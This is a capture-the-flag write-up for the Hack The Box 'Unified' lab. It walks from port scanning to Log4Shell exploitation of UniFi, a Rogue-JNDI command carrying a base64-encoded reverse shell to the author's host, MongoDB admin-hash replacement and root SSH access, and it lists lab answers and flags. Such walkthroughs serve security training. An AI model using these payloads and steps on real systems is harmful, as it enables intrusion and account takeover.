# Unified (Tier 2)

## <mark style="color:blue;">Description</mark>

* **Tier&#x20;**<mark style="color:green;">**->**</mark> 2
* **Difficult** <mark style="color:green;">**->**</mark> Very Easy
* **OS** <mark style="color:green;">**->**</mark> Linux
* **Tags&#x20;**<mark style="color:green;">**->**</mark> Vulnerability Assessment / Databases / Custom Applications / MongoDB / Java\
  &#x20;              / Reconnaissance / Clear Text Credentials / Default Credentials / Code Injection

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FLmIBVAguElcOo3K27Ghi%2Fimage.png?alt=media&#x26;token=9caaab22-e6d7-4f17-bb75-eedb6e9e74c9" alt=""><figcaption><p><a href="https://app.hackthebox.com/starting-point?tier=1">https://app.hackthebox.com/starting-point?tier=2</a></p></figcaption></figure>

## <mark style="color:blue;">Write-up</mark>

* I started doing an initial scan using [_Nmap_](../../../networks/tools-and-utilities#nmap)

<pre class="language-bash" data-line-numbers><code class="lang-bash"><strong>nmap 10.129.46.173 -p- -Pn --min-rate 2500 -oN scan.txt
</strong></code></pre>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fr8EJEgO4p7iS6gS8D2x5%2Fimage.png?alt=media&#x26;token=de36ef7a-97dd-4dee-b342-3272b6390c8f" alt=""><figcaption></figcaption></figure>

***

* With this, I answered the first question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FrLxQLNTG3WiPsASHtvdI%2Fimage.png?alt=media&#x26;token=cd2b526c-dbd7-4e63-a450-d76b22193e26" alt=""><figcaption></figcaption></figure>

> Answer: _**22,6789,8080,8443**_

***

* Then I did an exhaustive scan to learn more about the services running on the open ports

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>nmap 10.129.46.173 -p22,6789,8080,8443,8843,8880 -sVC -oN serv_scan.txt
</strong></code></pre>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FdbW2gHmmF7MZ6pXAOefY%2Fimage.png?alt=media&#x26;token=0dfd658a-3874-4fcb-a783-6b053a6f5490" alt=""><figcaption><p>snippet</p></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FhDDjGLIJqk60otVrcpoJ%2Fimage.png?alt=media&#x26;token=e1fb2171-da13-4357-b770-5f5cd1557280" alt=""><figcaption><p>snippet</p></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FvSXWhN9zKSl3RkMUmUYp%2Fimage.png?alt=media&#x26;token=687caea7-2d66-4744-82d4-747ad486c1ab" alt=""><figcaption><p>snippet</p></figcaption></figure>

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FdqGqSch8gY9uTkxSS6nf%2Fimage.png?alt=media&#x26;token=3c7b2736-4450-40a5-9417-3199acaebecd" alt=""><figcaption></figcaption></figure>

> Answer: _**UniFi Network**_

***

* I found an HTTP service running on ports 8443 and 8080, so I went to the browser to explore them, starting with port 8443. There I found a login page from a software named _Unifi,_ as identified in the scan, and let me know the version of this software was _6.4.54_. I also tried logging in with common credentials, but it didn't work. After that, I explored the _Forgot Password_ option, which asked for an email to send a verification message, but as I was not registered, it wouldn't work

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FJhdR0ZGwpFVffYHePBo4%2Fimage.png?alt=media&#x26;token=fd9c8b91-e1c0-4942-9767-e5b6f1ab3d5f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fw3wrAWF4cj59ZRGo9Dhv%2Fimage.png?alt=media&#x26;token=35e99ded-0251-4b76-85da-eee30ba304c7" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the HTTP protocol, you can go [here](../../networks/protocols/http)
{% endhint %}

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F6tsOwOCydnLWNnEbYcRe%2Fimage.png?alt=media&#x26;token=d8934385-6557-4563-afaa-012adafa3cc3" alt=""><figcaption></figcaption></figure>

> Answer: _**6.4.54**_

***

* As I knew the software's version, I tried searching for any possible CVE related to it. After some research, I found this version was vulnerable to [_CVE-2021-44228_](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2021-44228)_,_ the well-known _Log4Shell_ vulnerability

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FgoujUWBPycOkH5WopEtl%2Fimage.png?alt=media&#x26;token=f3d3b538-28f8-4e01-a3a1-7fa5e8777611" alt=""><figcaption><p><a href="https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi">https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi</a></p></figcaption></figure>

***

* With this and reading more about this vulnerability, I answered the next questions&#x20;

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FrIBkN5g4BWcnaHBfWhqu%2Fimage.png?alt=media&#x26;token=1e7f0900-ad1d-43f2-90e2-9261f627f988" alt=""><figcaption></figcaption></figure>

> Answer: _**CVE-2021-44228**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FmLoTpGq5yOG7SbfL85ak%2Fimage.png?alt=media&#x26;token=7385ac01-6beb-40be-8ede-31f0136ae4b6" alt=""><figcaption></figcaption></figure>

> Answer: _**ldap**_

***

* So first, to start the process for the exploitation, I intercepted the petition from the login page and modified it, inserting a payload in the _remember_ parameter. Then I set up a listener with [_tcpdump_](../../../networks/tools-and-utilities#tcpdump) to check all the traffic over TCP, specifying in this case to listen on port 389, the default port for the _LDAP_ service communications. Then I resubmitted the petition and checked the listener to confirm the service was connecting back to my machine, and in fact, it was

{% code overflow="wrap" lineNumbers="true" %}
```bash
sudo tcpdump -i tun0 port 389
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fz4CehEsQXHmvA8V6DCuV%2Fimage.png?alt=media&#x26;token=96c366d6-b332-4905-87e7-9d9d707e50f3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FR1Y2mrtd4UB2WXmLlc6S%2Fimage.png?alt=media&#x26;token=a38af276-805b-4c3c-be2e-f0932bd25e66" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FlUmvFqQCo0sjnXdNW06r%2Fimage.png?alt=media&#x26;token=44c0d530-3721-4456-85cd-738a864467f7" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn the complete process for the _Log4Shell_ vulnerability and its exploitation, you can go [here](../../web-exploitation/broken-access-control/cve-log4shell)
{% endhint %}

***

* With this, I answered the next questions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FAKPs9uL6x2270V2Lyv5H%2Fimage.png?alt=media&#x26;token=93bd42f7-3fdb-4fd5-b1de-e81bdf362d85" alt=""><figcaption></figcaption></figure>

> Answer: _**389**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FXfQ5q3cD4U9mY5acOWM4%2Fimage.png?alt=media&#x26;token=4b37c9e8-408b-49e4-bb16-b744d29a000e" alt=""><figcaption></figcaption></figure>

> Answer: _**tcpdump**_

***

* Knowing this, I created a payload and mounted a server with _Rogue-JNDI_ to establish the communication and try to gain a reverse shell from the target machine. Then I set up a [_Netcat_](../../../networks/tools-and-utilities#netcat) listener to receive communication and resent the petition this time pointing to the mounted server, and successfully caught a shell from the target, confirming it with the `whomai` command. Then I sanitized the terminal to interact better with it

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash">java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTE3LzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}" --hostname "10.10.14.117"
<strong>nc -nvlp444
</strong></code></pre>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FrdQg0MJcdkRrbC8Vvlmx%2Fimage.png?alt=media&#x26;token=d4eda29d-473d-4774-970b-b80dbb52d597" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FCb75gtMK1VvEQg6X7z1h%2Fimage.png?alt=media&#x26;token=a8f7db99-c694-4a1a-8390-ec89e98f94cc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F2TmEukxvDjDsrZQmbROT%2Fimage.png?alt=media&#x26;token=37c833bc-db8f-4526-b326-59c5841ccf41" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FPfGE9kikyxhveRbgzvAB%2Fimage.png?alt=media&#x26;token=e15667ef-61e0-4b7f-93c7-880ae47056db" alt=""><figcaption></figcaption></figure>

***

* Once in the system, I could search for local information about users, so first I went to the _/home_ directory where I found a user named _michael,_ and checking the files it had, found a _user.txt_ file from which I retrieved the user flag

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FXKBMmmsBeM0eyisLM4aB%2Fimage.png?alt=media&#x26;token=99f7e019-e5f3-40a1-8b34-a52df845c749" alt=""><figcaption></figcaption></figure>

***

* Then I had to find a way to escalate privileges. I started checking on the `sudo` execution permissions for the user, but the command wasn't on the system, and testing it with some other common commands for retrieving information, they were not found. So I tried looking at the services running locally and found that a [_MongoDB_](https://www.mongodb.com/) database was being deployed on port 27117

{% code overflow="wrap" lineNumbers="true" %}
```bash
ps aux | grep "127.0.0.1"
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FaCK0N5OV6sI3CTqCPhrN%2Fimage.png?alt=media&#x26;token=1d8f1c54-5fd2-4331-b60a-cb81718f9060" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FrKQCyInNFru6s7sNQgBs%2Fimage.png?alt=media&#x26;token=e4b9db6f-0807-40f7-8e8d-4c4d980064fe" alt=""><figcaption></figcaption></figure>

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FlrkwYv7nLf8njV3f1qOt%2Fimage.png?alt=media&#x26;token=fa896ab5-30db-4903-80c0-276fa8fe4043" alt=""><figcaption></figcaption></figure>

> Answer: _**27117**_

***

* As the database was deployed locally, I could only interact with it through the system or try to create a tunnel with SSH to connect from our machine. The second wasn't an option as we didn't have any credentials for SSH, so I tried looking if the [_Mongocli_](../../../database-attacks/tools-and-utilities#mongocli) utility was installed on the system, and it was, so I used it to connect to the database

{% code overflow="wrap" lineNumbers="true" %}
```bash
mongo --version
mongo --port 27117
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FGyTZ5fbEXIOA3Y0HmfNo%2Fimage.png?alt=media&#x26;token=cc218baf-ea6a-4d96-b911-bf53d97dd6b2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FKgvvbX3gGBCXh2QQJqZZ%2Fimage.png?alt=media&#x26;token=7e8f49de-8c7e-415a-8992-eab0d0c4af54" alt=""><figcaption></figcaption></figure>

***

* Once inside, I wanted to retrieve sensitive information, but I didn't know the components of the database, so first I searched for possible default names related to the _UniFi_ software, and with some research, found a [repository](https://gist.github.com/AmazingTurtle/e8a68a0cbe501bae15343aacbf42a1d8) that could help us to retrieve information and restore values to default for this specific software

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FrZAPUnToY4arqcWHez6p%2Fimage.png?alt=media&#x26;token=bc318946-0186-4e30-9bfe-32f1963d98f8" alt=""><figcaption><p>snippet</p></figcaption></figure>

***

* Following the guide, I learned the default database for _UniFi_ was _ace_, so I accessed it and checked the collections it had. The _admin_ collection caught my attention, so I retrieved its information, and this revealed sensitive information about the _administrator_ user, including its email and the hash for the password it used

{% code overflow="wrap" lineNumbers="true" %}
```mongodb
use ace;
show collections;
db.admin.find();
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FbTEliBSbfEUuFbdHP7Us%2Fimage.png?alt=media&#x26;token=3d025025-1730-4084-941e-61142ac76f15" alt=""><figcaption><p>snippet</p></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F9gJLynV445ETwwrhKc8N%2Fimage.png?alt=media&#x26;token=9fc18c46-b0b8-4220-a892-eef6ceb49b0a" alt=""><figcaption></figcaption></figure>

***

* With this, I answered the next questions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FVbeXaUv688G47RKHMyjY%2Fimage.png?alt=media&#x26;token=8916f77f-2e44-4c95-af2b-127c15a6731f" alt=""><figcaption></figcaption></figure>

> Answer: _**ace**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FQMuGMpGVXuTnPG6poPN9%2Fimage.png?alt=media&#x26;token=5426af2b-43ec-477d-bbb3-f43c31fe4c63" alt=""><figcaption></figcaption></figure>

> Answer: _**db.admin.find()**_

***

* So I tried changing the value of the hash for one that represented an arbitrary password, to impersonate the administrator user. So I used a prehashed value from the previously found repository and tried to update this in the database. After that, as I didn't get any error, I assumed it had worked, and then went again to the login page to try using the credentials I had set, having access to a dashboard for a network configuration software.

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"># We used the SHA512 for Ch4ngeM3VeryQu!ck taken from the GitHub guide
<strong>db.admin.update({ "name": "administrator" }, { $set: { "x_shadow": "$6$9Ter1EZ9$4RCTnLfeDJsdAQ16M5d1d5Ztg2CE1J2IDlbAPSUcqYOoxjEEcpMQag41dtCQv2cJ.n9kvlx46hNT78dngJBVt0" } });
</strong></code></pre>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FBdVxZQXia95f63zYT8XP%2Fimage.png?alt=media&#x26;token=72b334ed-b49f-45ad-82ef-ef6aa7d04a61" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FqpVgyiLFB4TKgsVodQdS%2Fimage.png?alt=media&#x26;token=2604aa56-cab1-489a-8cfa-07351e2ba340" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about Impersonification via credentials change on _MongoDB,_ you can go here
{% endhint %}

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FS4q2gJGu4wQAcjRR4Jrm%2Fimage.png?alt=media&#x26;token=0587e23a-2c72-4411-a611-6b69323fb751" alt=""><figcaption></figcaption></figure>

> Answer: _**db.admin.update()**_

***

* Being there, I explored the features the software had, and reaching the _Settings>Site_ tab, I noticed there was a _Device Authentication_ section with some configurations for the SSH connection under the network, leaking the password to connect as the _root_ user through this method

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F8LP2tQAzB1fz18FoHutP%2Fimage.png?alt=media&#x26;token=b555ae62-907d-442b-a31c-2eb3aa307b21" alt=""><figcaption></figcaption></figure>

***

* With this and the previously found user flag, I answered the next questions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FHZ56Y7BJGjWN8oz8H3DK%2Fimage.png?alt=media&#x26;token=bea6463c-26a4-46c5-9c45-affaf2641667" alt=""><figcaption></figcaption></figure>

> Answer: _**NotACrackablePassword4U2022**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F6e1uxA24RxXaUToszG1m%2Fimage.png?alt=media&#x26;token=1149bd38-9fa8-4938-9b7f-1502f52b4d99" alt=""><figcaption></figcaption></figure>

> Answer: _**6ced1a6a89e666c0620cdb10262ba127**_

***

* So I tried connecting through SSH with these credentials and got in successfully as the _root_ privileged user. I did an extra sanitization just to interact better with the terminal

{% code overflow="wrap" lineNumbers="true" %}
```bash
ssh root@10.129.46.173
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FEe9N0leTEKolaeFrfX30%2Fimage.png?alt=media&#x26;token=e45d2d48-72f9-4b0b-9a04-7965f987db67" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FNqlH2i4Nb0qbWyyEmGU6%2Fimage.png?alt=media&#x26;token=f9e5ce26-ae2a-4dcc-b636-b0708a34b91f" alt=""><figcaption></figcaption></figure>

***

* Finally, I went to the _/root_ folder to look at its content, noticing a _root.txt_ file, and reading its content from where I retrieved the root flag

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FIAuq0GJkS7yMhKUJwWX8%2Fimage.png?alt=media&#x26;token=72bcd127-2a33-4946-821f-5a3b64383f46" alt=""><figcaption></figcaption></figure>

***

* With this, I got the root flag and pwned the machine

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F7IT97FbkPlTo5KtwskbE%2Fimage.png?alt=media&#x26;token=04037b77-8ec9-429a-87d1-9f8e19d957fe" alt=""><figcaption></figcaption></figure>

> Answer: _**e50bc93c75b634e4b272d2f771c33681**_
